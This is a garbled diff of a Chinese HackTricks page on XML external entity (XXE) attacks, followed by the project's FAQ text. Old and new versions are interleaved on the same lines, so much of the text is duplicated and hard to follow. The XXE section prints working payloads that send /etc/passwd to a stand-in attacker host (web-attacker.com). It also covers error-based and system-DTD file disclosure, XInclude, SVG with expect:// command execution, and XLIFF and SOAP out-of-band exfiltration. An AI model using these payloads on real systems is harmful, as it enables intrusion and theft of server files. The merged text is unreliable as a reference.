这个DTD执行以下步骤 这个DTD执行的步骤包括
* 定义一个名为 `file` 的XML参数实体包含 `/etc/passwd` 文件的内容。 1. **参数实体的定义:**
* 定义一个名为 `eval` 的XML参数实体包含对另一个名为 `exfiltrate` 的XML参数实体的动态声明。`exfiltrate` 实体将通过向攻击者的Web服务器发起HTTP请求来评估 `file` 实体的值该请求将在URL查询字符串中包含。 - 创建一个XML参数实体 `%file`,读取 `/etc/hostname` 文件的内容。
* 使用 `eval` 实体,导致对 `exfiltrate` 实体的动态声明被执行。 - 定义另一个XML参数实体 `%eval`。它动态声明一个新的XML参数实体 `%exfiltrate`。`%exfiltrate` 实体被设置为向攻击者服务器发起HTTP请求在URL的查询字符串中传递 `%file` 实体的内容。
* 使用 `exfiltrate` 实体使其值通过请求指定的URL来评估。
攻击者必须将恶意的DTD托管在他们控制的系统上通常是通过将其加载到自己的Web服务器上。例如攻击者可能会在以下URL上提供恶意的DTD\ 2. **实体的执行:**
`http://web-attacker.com/malicious.dtd` - 使用 `%eval` 实体,导致动态声明 `%exfiltrate` 实体的执行。
- 然后使用 `%exfiltrate` 实体触发向指定URL发送文件内容的HTTP请求。
最后攻击者必须向易受攻击的应用程序提交以下XXE有效载荷 攻击者将这个恶意的DTD托管在他们控制下的服务器上通常在类似 `http://web-attacker.com/malicious.dtd` 的URL上。
```markup
**XXE Payload:**
为了利用一个存在漏洞的应用程序攻击者发送一个XXE有效载荷
```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
``` ```
这个XXE负载声明了一个名为`xxe`的XML参数实体然后在DTD中使用这个实体。这将导致XML解析器从攻击者的服务器获取外部DTD并内联解释它。恶意DTD中定义的步骤将被执行`/etc/passwd`文件将被传输到攻击者的服务器。 这个 payload 定义了一个 XML 参数实体 `%xxe` 并将其合并到 DTD 中。当被 XML 解析器处理时,这个 payload 从攻击者的服务器中获取外部 DTD。然后解析器内联解释 DTD执行恶意 DTD 中概述的步骤,导致将 `/etc/hostname` 文件泄露到攻击者的服务器。
### 基于错误的(外部DTD) ### 基于错误的(外部 DTD
**在这种情况下,我们将让服务器加载一个恶意的DTD该DTD将在错误消息中显示文件的内容仅当您可以看到错误消息时才有效)。** [**示例在这里。**](https://portswigger.net/web-security/xxe/blind) **在这种情况下,我们将让服务器加载一个恶意的 DTD该 DTD 将在错误消息中显示文件的内容(仅在您能看到错误消息时有效)。** [**示例在这里。**](https://portswigger.net/web-security/xxe/blind)
您可以使用恶意的外部DTD触发包含`/etc/passwd`文件内容的XML解析错误消息如下所示 您可以使用恶意的外部 DTD 触发一个包含 `/etc/passwd` 文件内容的 XML 解析错误消息,方法如下:
```markup ```markup
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
@ -171,7 +177,7 @@ XXE可能被用来滥用云中的SSRF
* 定义一个名为 `file` 的XML参数实体包含 `/etc/passwd` 文件的内容。 * 定义一个名为 `file` 的XML参数实体包含 `/etc/passwd` 文件的内容。
* 定义一个名为 `eval` 的XML参数实体包含另一个名为 `error` 的XML参数实体的动态声明。`error` 实体将通过加载一个包含 `file` 实体值的不存在文件来进行评估。 * 定义一个名为 `eval` 的XML参数实体包含另一个名为 `error` 的XML参数实体的动态声明。`error` 实体将通过加载一个包含 `file` 实体值的不存在文件来进行评估。
* 使用 `eval` 实体,导致执行 `error` 实体的动态声明。 * 使用 `eval` 实体,导致执行 `error` 实体的动态声明。
* 使用 `error` 实体,使其值通过尝试加载不存在的文件进行评估,导致包含不存在文件名的错误消息,该文件名 `/etc/passwd` 文件的内容。 * 使用 `error` 实体,使其值通过尝试加载不存在的文件进行评估,导致包含不存在文件名的错误消息,该文件名即为 `/etc/passwd` 文件的内容。
调用外部DTD错误 调用外部DTD错误
```markup ```markup
@ -181,11 +187,11 @@ XXE可能被用来滥用云中的SSRF
``` ```
### **基于错误的 (system DTD)** ### **基于错误的 (system DTD)**
那么当**阻止带外交互**(外部连接不可用)时,盲目 XXE 漏洞如何处理呢? 那么当**阻止带外交互**外部连接不可用盲目XXE漏洞如何处理呢
XML 语言规范中的一个漏洞可以通过错误消息**暴露敏感数据**,当文档的 DTD 混合了内部和外部声明时。这个问题允许在内部重新定义在外部声明的实体,促进基于错误的 XXE 攻击的执行。这种攻击利用了在内部 DTD 中重新定义 XML 参数实体,最初在外部 DTD 中声明。当服务器阻止带外连接时,攻击者必须依赖本地 DTD 文件来进行攻击,旨在诱发解析错误以揭示敏感信息。 XML语言规范中的一个漏洞可以通过错误消息**暴露敏感数据**当文档的DTD混合了内部和外部声明时。这个问题允许在内部重新定义在外部声明的实体促进基于错误的XXE攻击的执行。这种攻击利用了在内部DTD中重新定义XML参数实体该实体最初在外部DTD中声明。当服务器阻止带外连接时攻击者必须依赖本地DTD文件来进行攻击旨在诱发解析错误以揭示敏感信息。
考虑一个场景,服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` DTD 文件,定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交以下混合 DTD 来诱发 XML 解析错误,从而揭示 `/etc/passwd` 文件的内容: 考虑一个场景,服务器的文件系统包含一个位于`/usr/local/app/schema.dtd`的DTD文件定义了一个名为`custom_entity`的实体。攻击者可以通过提交混合DTD来诱发XML解析错误从而揭示`/etc/passwd`文件的内容:
```xml ```xml
<!DOCTYPE foo [ <!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -201,7 +207,7 @@ XML 语言规范中的一个漏洞可以通过错误消息**暴露敏感数据**
以下是由此DTD执行的步骤 以下是由此DTD执行的步骤
- 定义了一个名为`local_dtd`的XML参数实体其中包含位于服务器文件系统上的外部DTD文件。 - 定义了一个名为`local_dtd`的XML参数实体其中包含位于服务器文件系统上的外部DTD文件。
- 对`custom_entity` XML参数实体进行重新定义最初在外部DTD中定义,以封装一个[基于错误的XXE利用](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。这种重新定义旨在引发解析错误,从而暴露`/etc/passwd`文件的内容。 - 对最初在外部DTD中定义的`custom_entity` XML参数实体进行重新定义以封装一个[基于错误的XXE利用](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。这种重新定义旨在引发解析错误,从而暴露`/etc/passwd`文件的内容。
- 通过使用`local_dtd`实体启用了外部DTD包含了新定义的`custom_entity`。这一系列操作导致了利用所针对的错误消息的发出。 - 通过使用`local_dtd`实体启用了外部DTD包含了新定义的`custom_entity`。这一系列操作导致了利用所针对的错误消息的发出。
**真实世界示例:** 使用GNOME桌面环境的系统通常在`/usr/share/yelp/dtd/docbookx.dtd`中包含一个名为`ISOamso`的实体。 **真实世界示例:** 使用GNOME桌面环境的系统通常在`/usr/share/yelp/dtd/docbookx.dtd`中包含一个名为`ISOamso`的实体。
@ -221,7 +227,7 @@ XML 语言规范中的一个漏洞可以通过错误消息**暴露敏感数据**
``` ```
![](<../.gitbook/assets/image (224).png>) ![](<../.gitbook/assets/image (224).png>)
由于这种技术使用**内部 DTD您首先需要找到一个有效的 DTD**。您可以通过**安装**与服务器相同的**操作系统/软件****搜索一些默认的 DTD**,或者**获取系统中默认 DTD 的列表**,然后**检查**是否存在任何一个: 由于这种技术使用**内部 DTD**,您首先需要找到一个有效的 DTD。您可以通过**安装**与服务器相同的**操作系统/软件**然后**搜索一些默认的 DTD**,或者**获取系统中默认 DTD 的列表**,然后**检查**是否存在任何一个:
```markup ```markup
<!DOCTYPE foo [ <!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -236,7 +242,7 @@ XML 语言规范中的一个漏洞可以通过错误消息**暴露敏感数据**
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %} {% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
此外,如果您有**受害系统的Docker镜像**,您可以使用相同存储库中的工具**扫描**该**镜像**并**查找**系统中存在的**DTDs**的路径。阅读[github的Readme](https://github.com/GoSecure/dtd-finder)以了解详情。 此外,如果您有**受害系统的Docker镜像**,您可以使用相同存储库中的工具**扫描**该**镜像**并**查找**系统中存在的**DTDs**的路径。阅读[github的Readme](https://github.com/GoSecure/dtd-finder)以了解详情。
```bash ```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -250,7 +256,7 @@ Testing 0 entities : []
``` ```
### 通过 Office Open XML 解析器进行 XXE 攻击 ### 通过 Office Open XML 解析器进行 XXE 攻击
了解这种攻击的更深入解释,请查看 Detectify 的[这篇精彩文章](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)的第二部分。 深入了解此攻击,请查看 Detectify 的[这篇精彩文章](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)的第二部分。
许多 Web 应用程序提供了上传 Microsoft Office 文档的功能然后从这些文档中提取某些详细信息。例如Web 应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了从电子表格中提取数据,解析器必然需要解析至少一个 XML 文件。 许多 Web 应用程序提供了上传 Microsoft Office 文档的功能然后从这些文档中提取某些详细信息。例如Web 应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了从电子表格中提取数据,解析器必然需要解析至少一个 XML 文件。
@ -260,31 +266,31 @@ Testing 0 entities : []
修改后的 XML 行应插入在两个根 XML 对象之间。重要的是将 URL 替换为可监控请求的 URL。 修改后的 XML 行应插入在两个根 XML 对象之间。重要的是将 URL 替换为可监控请求的 URL。
最后,可以将文件压缩为恶意 poc.docx 文件。从先前创建的 "unzipped" 目录中,应运行以下命令: 最后,可以将文件压缩为恶意 poc.docx 文件。从先前创建的“unzipped”目录中,应运行以下命令:
现在,可以将创建的文件上传到可能存在漏洞的 Web 应用程序,并希望在 Burp Collaborator 日志中出现请求。 现在,可以将创建的文件上传到可能存在漏洞的 Web 应用程序,并希望在 Burp Collaborator 日志中出现请求。
### Jar 协议 ### Jar 协议
`jar` 协议仅适用于 Java 应用程序。它允许访问 PKZIP 文件(`.zip`、`.jar` 等)中的文件,并适用于本地和远程文件 `jar` 协议仅适用于 Java 应用程序。它允许访问 PKZIP 文件(`.zip`、`.jar` 等)中的文件,并适用于本地和远程文件
``` ```
jar:file:///var/myarchive.zip!/file.txt jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt
``` ```
{% hint style="danger" %} {% hint style="danger" %}
访问 PKZIP 文件内部的文件对于通过系统 DTD 文件滥用 XXE 非常有用。查看[此部分以了解如何滥用系统 DTD 文件](xxe-xee-xml-external-entity.md#error-based-system-dtd)。 访问 PKZIP 文件内部的文件对于通过系统DTD文件滥用XXE非常有用。查看[此部分以了解如何滥用系统DTD文件](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
{% endhint %} {% endhint %}
#### 幕后 #### 幕后
1. 发起 HTTP 请求以加载 zip 存档。`https://download.host.com/myarchive.zip` 1. 发起HTTP请求以加载zip存档。`https://download.host.com/myarchive.zip`
2. 将 HTTP 响应保存到临时位置。`/tmp/...` 2. 将HTTP响应保存到临时位置。`/tmp/...`
3. 解压存档。 3. 解压存档。
4. 读取 `file.zip` 4. 读取`file.zip`
5. 删除临时文件。 5. 删除临时文件。
请注意,可以在第二步中停止流程。技巧是在提供文件时永远不要关闭连接。[这些工具可能会有所帮助](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution):一个是 Python 中的 `slow_http_server.py`,另一个是 Java 中的 `slowserver.jar` 请注意,可以在第二步中停止流程。诀窍是在提供文件时永远不要关闭连接。[这些工具可能会有所帮助](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution)一个是Python中的`slow_http_server.py`另一个是Java中的`slowserver.jar`。
一旦服务器下载了您的文件,您需要通过浏览临时目录来找到其位置。由于路径是随机的,因此无法提前预测文件路径。 一旦服务器下载了您的文件,您需要通过浏览临时目录来找到其位置。由于路径是随机的,因此无法提前预测文件路径。
@ -345,9 +351,9 @@ Responder.py -I eth0 -v
在某些情况下,**客户端发送的数据在解析之前会被服务器端处理并合并到一个XML文档中**。这通常发生在客户端数据被整合到一个**后端SOAP请求**中随后由后端的SOAP服务处理。 在某些情况下,**客户端发送的数据在解析之前会被服务器端处理并合并到一个XML文档中**。这通常发生在客户端数据被整合到一个**后端SOAP请求**中随后由后端的SOAP服务处理。
在这些情况下执行传统的XXEXML外部实体攻击变得具有挑战性因为对XML文档整体的控制受限特别是无法修改或引入`DOCTYPE`元素。然而,利用`XInclude`这是XML标准的一个功能它允许从较小的子文档组装一个XML文档提供了一种解决方法。这种方法允许在XML文档的任何数据元素中进行`XInclude`攻击在服务器生成的XML文档中嵌入数据的控制受限的情况下也是可行的。 在这些情况下执行传统的XXEXML外部实体攻击变得具有挑战性因为对XML文档整体的控制受限特别是无法修改或引入`DOCTYPE`元素。然而,利用`XInclude`这是XML标准的一个功能它允许从较小的子文档组装一个XML文档提供了一种解决方法。这种方法允许在XML文档的任何数据元素中进行`XInclude`攻击在服务器生成的XML文档中嵌入数据时,这种攻击是可行的。
要发起一个`XInclude`攻击,需要包含`XInclude`命名空间,并指定用于包含的文件路径。以下示例演示了如何构建这样一种攻击: 要发起一个`XInclude`攻击,需要包含`XInclude`命名空间,并指定包含的文件路径。以下示例演示了如何构建这样一种攻击:
```xml ```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1 productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
``` ```
@ -363,13 +369,13 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
```xml ```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
``` ```
另一种方法涉及尝试通过 PHP 的 "expect" 包装器执行命令: 另一种方法涉及尝试通过PHP的“expect”包装器执行命令:
```xml ```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image> <image xlink:href="expect://ls"></image>
</svg> </svg>
``` ```
在这两种情况下SVG 格式被用来发动攻击,利用服务器软件的 XML 处理能力,突显了对强大的输入验证和安全措施的需求 在这两种情况下SVG 格式被用来发动攻击,利用服务器软件的 XML 处理能力,突显了强大的输入验证和安全措施的必要性
查看[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)获取更多信息! 查看[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)获取更多信息!
@ -377,7 +383,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
### **PDF - 文件上传** ### **PDF - 文件上传**
阅读以下文章以**学习如何利用 XXE 上传 PDF 文件** 阅读以下文章以**了解如何利用 XXE 上传 PDF 文件**
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} {% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md) [pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
@ -514,30 +520,31 @@ DTD 示例:
### **XML External Entity (XEE) Attack** ### **XML External Entity (XEE) Attack**
XML External Entity (XXE) attacks occur when an attacker is able to inject malicious XML content into an XML document processed by a web application. This can lead to sensitive data exposure, server-side request forgery (SSRF), and other security risks. XML External Entity (XXE) attacks occur when an attacker is able to inject malicious XML content into an XML document processed by a web application. This attack can lead to sensitive data exposure, server-side request forgery (SSRF), and remote code execution.
#### **Detecting XEE Vulnerabilities** #### **Detecting XEE Vulnerabilities**
To detect XEE vulnerabilities, you can send a SOAP request with a malicious XML payload containing an external entity reference. If the application processes the external entity and includes sensitive information in its response, the vulnerability is present. To detect XEE vulnerabilities, you can send a SOAP request with a malicious XML payload containing an external entity reference pointing to a file on the server. If the application processes the external entity and includes the file content in the response, it is vulnerable to XEE attacks.
#### **Exploiting XEE Vulnerabilities** #### **Exploiting XEE Vulnerabilities**
Exploiting XEE vulnerabilities involves crafting a malicious XML payload that includes an external entity pointing to a file or system resource containing sensitive data. By manipulating the XML content, an attacker can retrieve this data through the application's response. Exploiting XEE vulnerabilities allows an attacker to read files from the server, conduct SSRF attacks, and execute arbitrary code on the server. By manipulating the XML payload, an attacker can retrieve sensitive information or perform unauthorized actions.
#### **Preventing XEE Attacks** #### **Preventing XEE Attacks**
To prevent XEE attacks, ensure that XML parsing libraries are configured securely to disable external entity processing. Additionally, input validation and sanitization should be implemented to filter out any potentially malicious XML content before processing. To prevent XEE attacks, disable external entity processing in XML parsers, use whitelists to validate input, and sanitize user-supplied XML input. Additionally, consider using newer XML technologies like XML Schema Definition (XSD) to validate XML structures.
```markup ```markup
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body> <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
``` ```
## XLIFF - XXE ## XLIFF - XXE
本节内容摘自 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\ 这个例子受到了[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)的启发。
根据 [维基百科](https://en.wikipedia.org/wiki/XLIFF) 的描述:
> XLIFFXML Localization Interchange File Format是一种基于 XML 的双文本格式,旨在标准化本地化数据在本地化过程中在工具之间传递的方式,以及 CAT 工具交换的常见格式。 XLIFFXML本地化交换文件格式用于标准化本地化过程中的数据交换。这是一种基于XML的格式主要用于在本地化过程中在工具之间传输可本地化数据并作为CAT计算机辅助翻译工具的常见交换格式。
### 盲目请求 ### 盲目请求分析
向服务器发出以下内容的请求:
```markup ```markup
------WebKitFormBoundaryqBdAsEtYaBjTArl3 ------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -549,14 +556,15 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff> <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
``` ```
服务器响应出现错误: 然而,这个请求触发了一个内部服务器错误,明确提到了与标记声明有关的问题
```javascript ```json
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."} {"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
``` ```
但我们在Burp Collaborator上收到了一个命中 尽管出现错误但在Burp Collaborator上记录了一次命中表明与外部实体有一定程度的交互
### 通过带外数据泄露数据 带外数据泄露
```markup 为了将数据外泄,发送了一个修改过的请求:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3 ------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml Content-Type: application/x-xliff+xml
@ -567,39 +575,37 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff> <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
``` ```
根据Burp Collaborator返回的显示的用户代理看起来它正在使用**Java 1.8**。在利用这个Java版本的XXE时的一个问题是**我们无法使用带有`New Line`的文件**比如使用Out of Band技术获取包含`/etc/passwd`的文件 这种方法显示用户代理指示使用Java 1.8。Java的这个版本存在一个已知限制即无法使用带有换行符如/etc/passwd的文件来检索文件使用带外技术
### 通过基于错误的方法外泄数据 基于错误的数据泄露
为了克服这个限制采用了基于错误的方法。DTD文件的结构如下以触发包含目标文件数据的错误
DTD文件: ```xml
```markup
<!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>"> <!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo; %foo;
%xxe; %xxe;
``` ```
服务器响应: 服务器响应错误,重要的是反映了不存在的文件,表明服务器正在尝试访问指定的文件:
```javascript ```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
``` ```
非存在的文件在错误消息中反映出来。接下来是添加文件内容。 要在错误消息中包含文件内容需要调整DTD文件
```xml
DTD 文件:
```markup
<!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>"> <!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo; %foo;
%xxe; %xxe;
``` ```
并且文件内容成功**在通过HTTP发送的错误输出中打印出来**。 这种修改导致文件内容成功外泄因为它反映在通过HTTP发送的错误输出中。这表明成功利用XXEXML外部实体攻击利用带外和基于错误的技术来提取敏感信息。
## RSS - XEE ## RSS - XEE
包含RSS格式的有效XML利用XXE漏洞。 包含RSS格式的有效XML,用于利用XXE漏洞。
### 回显 ### 回显
向攻击者服务器发简单的HTTP请求 向攻击者服务器发简单的HTTP请求
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY > <!DOCTYPE title [ <!ELEMENT title ANY >

View file

@ -8,7 +8,7 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
@ -22,9 +22,9 @@
* 为**所有**互联网用户提供**免费**的**教育性黑客**资源。 * 为**所有**互联网用户提供**免费**的**教育性黑客**资源。
* 黑客是关于学习的,学习应该尽可能免费。 * 黑客是关于学习的,学习应该尽可能免费。
* 本书的目的是作为全面的**教育资源**。 * 本书的目的是作为全面的**教育资源**。
* **存储**社区发布的精彩**黑客**技术,给予**原作者**所有**荣誉**。 * **存储**社区发布的精彩**黑客**技术,给予**原作者**所有**功劳**。
* **我们不想要别人的荣誉**,我们只想为每个人存储酷炫的技巧。 * **我们不想要别人的功劳**,我们只想为每个人存储酷炫的技巧。
* 我们也在HackTricks中写**我们自己的研究**。 * 我们也在HackTricks中写**我们自己的研究**。
* 在许多情况下我们将在HackTricks中仅写出技术的重要部分的摘要并鼓励读者访问原始帖子以获取更多详细信息。 * 在许多情况下我们将在HackTricks中仅写出技术的重要部分的摘要并鼓励读者访问原始帖子以获取更多详细信息。
* **组织**书中的所有黑客技术,使其**更易访问** * **组织**书中的所有黑客技术,使其**更易访问**
* HackTricks团队已经免费投入了数千小时**仅仅为了组织内容**,以便人们可以**更快学习** * HackTricks团队已经免费投入了数千小时**仅仅为了组织内容**,以便人们可以**更快学习**
@ -46,7 +46,7 @@
* **我如何为项目做贡献?** * **我如何为项目做贡献?**
{% endhint %} {% endhint %}
您可以与社区分享新的技巧和窍门或修复书中发现的错误通过向相应的Github页面发送**Pull Request**来做出贡献: 您可以与社区分享新的技巧和窍门,或修复您在中发现的错误通过向相应的Github页面发送**Pull Request**来做出贡献:
* [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) * [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
* [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) * [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@ -63,7 +63,7 @@
* **我如何引用HackTricks的某一页** * **我如何引用HackTricks的某一页**
{% endhint %} {% endhint %}
只要出现您提取信息的页面的链接就足够了。\ 只要出现您提取信息的页面的链接即可。\
如果您需要bibtex可以使用类似以下的内容 如果您需要bibtex可以使用类似以下的内容
```latex ```latex
@misc{hacktricks-bibtexing, @misc{hacktricks-bibtexing,
@ -85,7 +85,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
* **为什么你们有赞助商HackTricks书籍是为了商业目的吗** * **为什么你们有赞助商HackTricks书籍是为了商业目的吗**
{% endhint %} {% endhint %}
**HackTricks**的第一个**价值观**是**全世界提供免费**的黑客教育资源。HackTricks团队已经**投入了数千小时**来提供这些内容,再次强调,是**免费**的。 **HackTricks**的第一个**价值观**是**全世界提供免费**的黑客教育资源。HackTricks团队已经**投入了数千小时**来提供这些内容,再次强调,是**免费**的。
如果你认为HackTricks书籍是为了**商业目的**而制作的,那你是**完全错误**的。 如果你认为HackTricks书籍是为了**商业目的**而制作的,那你是**完全错误**的。
@ -97,7 +97,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
* **如果某个HackTricks页面是基于我的博客文章但没有引用我该怎么办** * **如果某个HackTricks页面是基于我的博客文章但没有引用我该怎么办**
{% endhint %} {% endhint %}
**非常抱歉这不应该发生**。请通过Github问题、Twitter、Discord等方式告诉我们提供包含内容的HackTricks页面链接和你的博客链接,**我们将立即核实并添加引用**。 **非常抱歉这不应该发生**。请通过Github问题、Twitter、Discord等方式告诉我们提供包含内容的HackTricks页面链接以及你的博客链接,**我们将立即检查并添加引用**。
{% hint style="danger" %} {% hint style="danger" %}
* **如果HackTricks中有来自我的博客的内容而我不希望它出现在那里我该怎么办** * **如果HackTricks中有来自我的博客的内容而我不希望它出现在那里我该怎么办**
@ -105,13 +105,13 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
无论如何要知道在这种情况下HackTricks将会提升你的**SEO**并鼓励人们**查看你的页面**有人告诉我们因为他们的某个页面出现在HackTricks中他们收到了更多访问量。如果你仍然希望从HackTricks中删除你博客的内容请告诉我们。 无论如何要知道在这种情况下HackTricks将会提升你的**SEO**并鼓励人们**查看你的页面**有人告诉我们因为他们的某个页面出现在HackTricks中他们收到了更多访问量。如果你仍然希望从HackTricks中删除你博客的内容请告诉我们。
请注意,如果你提出这个要求,我们将**彻底删除你博客的所有链接**和任何基于它的内容。 请注意,如果你提出这个要求,我们将**绝对删除到你的博客的所有链接**,以及任何基于它的内容。
{% hint style="danger" %} {% hint style="danger" %}
* **如果我在HackTricks中发现了复制粘贴的内容我该怎么办** * **如果我在HackTricks中发现了复制粘贴的内容我该怎么办**
{% endhint %} {% endhint %}
